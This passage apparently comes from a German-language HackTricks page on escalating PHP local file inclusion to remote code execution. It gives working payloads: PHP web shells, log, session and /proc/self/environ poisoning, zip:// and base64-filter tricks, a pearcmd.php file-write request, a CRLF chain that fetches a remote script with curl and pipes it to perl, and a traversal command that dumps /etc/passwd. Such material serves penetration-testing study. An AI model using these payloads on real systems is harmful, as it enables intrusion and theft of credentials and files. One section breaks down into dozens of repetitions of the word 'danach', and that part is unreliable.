Sende eine Mail an ein internes Konto (user@localhost), die deinen PHP-Payload wie <?php echo system($_REQUEST["cmd"]); ?> enthält, und versuche, sie in die Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME> oder /var/spool/mail/<USERNAME> einzubinden.

Über /proc/*/fd/*

  1. Lade viele shells hoch (zum Beispiel: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, wobei $PID = PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der file descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)

Über /proc/self/environ

Wie bei einer Log-Datei: sende den Payload im User-Agent, er wird innerhalb der /proc/self/environ Datei reflektiert.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Per Upload

Wenn du eine Datei hochladen kannst, injiziere einfach die shell payload darin (z. B.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/doc/pdf zu injizieren

Via ZIP Datei upload

Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Über PHP sessions

Prüfe, ob die Website PHP Session (PHPSESSID) verwendet.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP werden diese Sessions in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Setze das Cookie auf <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Verwende die LFI, um die PHP session file einzubinden

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Über ssh

Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche auf <HOME>/.ssh/id_rsa zuzugreifen.

Über vsftpd logs

Die Logs für den FTP-Server vsftpd befinden sich in /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle existiert und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:

  1. Injiziere eine PHP payload in das Benutzername-Feld während des Login-Prozesses.
  2. Nach der Injection nutze die LFI, um die Server-Logs von /var/log/vsftpd.log abzurufen.

Über php base64 filter (using base64)

Wie in this Artikel gezeigt, ignoriert der PHP base64 filter einfach Nicht-base64. Du kannst das nutzen, um die Dateiendungsprüfung zu umgehen: wenn du base64 lieferst, das mit “.php” endet, würde er einfach den “.” ignorieren und “php” an das base64 anhängen. Hier ist ein Beispielpayload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (keine Datei nötig)

Dieser writeup erklärt, dass du php filters to generate arbitrary content als Ausgabe verwenden kannst. Das bedeutet im Grunde, dass du generate arbitrary php code für das include erzeugen kannst, without needing to write es in eine Datei zu speichern.

LFI2RCE via PHP Filters

Via segmentation fault

Upload eine Datei, die als temporary in /tmp gespeichert wird; löse dann in der same request einen segmentation fault aus — die temporary file won’t be deleted und du kannst danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach danach suchen.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Wenn du eine Local File Inclusion gefunden hast und Nginx vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Wenn du eine Local File Inclusion gefunden hast — selbst wenn du don’t have a session und session.auto_start auf Off steht. Wenn du den PHP_SESSION_UPLOAD_PROGRESS in multipart POST-Daten angibst, wird PHP die enable the session for you. Das kannst du missbrauchen, um RCE zu erreichen:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Wenn du eine Local File Inclusion gefunden hast und der Server unter Windows läuft, könntest du RCE erlangen:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, das Script /usr/local/lib/phppearcmd.php existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, da angegeben ist, dass ein URL-Parameter ohne = als Argument verwendet werden sollte. Siehe auch watchTowr’s write-up und Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Das Folgende nutzt eine CRLF vuln aus, um RCE zu erreichen (von here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Über phpinfo() (file_uploads = on)

Wenn du eine Local File Inclusion gefunden hast und eine Datei, die phpinfo() mit file_uploads = on ausgibt, kannst du RCE erlangen:

LFI2RCE via phpinfo()

Über compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Wenn du eine Local File Inclusion gefunden hast und du can exfiltrate the path der temporären Datei, ABER der server überprüft, ob die einzuschließende Datei PHP marks hat, kannst du versuchen, diese Prüfung mit dieser Race Condition zu umgehen:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Über eternal waiting + bruteforce

Wenn du das LFI ausnutzen kannst, um temporäre Dateien hochzuladen und den server die PHP-Ausführung hang zu lassen, könntest du dann stundenlang brute force filenames durchführen, um die temporäre Datei zu finden:

LFI2RCE via Eternal waiting

Zu Fatal Error

Wenn du eine der Dateien /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar include. (Du musst dieselbe Datei zweimal include, um diesen Fehler auszulösen).

Ich weiß nicht, wie nützlich das ist, aber es könnte es sein.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

Traversal-Sequenzen vom Client bewahren

Einige HTTP-Clients normalisieren oder kollabieren ../ bevor die Anfrage den Server erreicht, wodurch directory traversal payloads zerstört werden. Verwende curl --path-as-is, um die Traversal-Sequenzen unverändert zu lassen, wenn du Log-/Download-Endpunkte missbrauchst, die einen vom Benutzer kontrollierten Dateinamen anhängen, und füge --ignore-content-length für Pseudo-Dateien wie /proc hinzu:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Passe die Anzahl der ../-Segmente so an, bis du das vorgesehene Verzeichnis verlässt, und dump /etc/passwd, /proc/self/cwd/app.py oder andere Quell-/Konfigurationsdateien.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks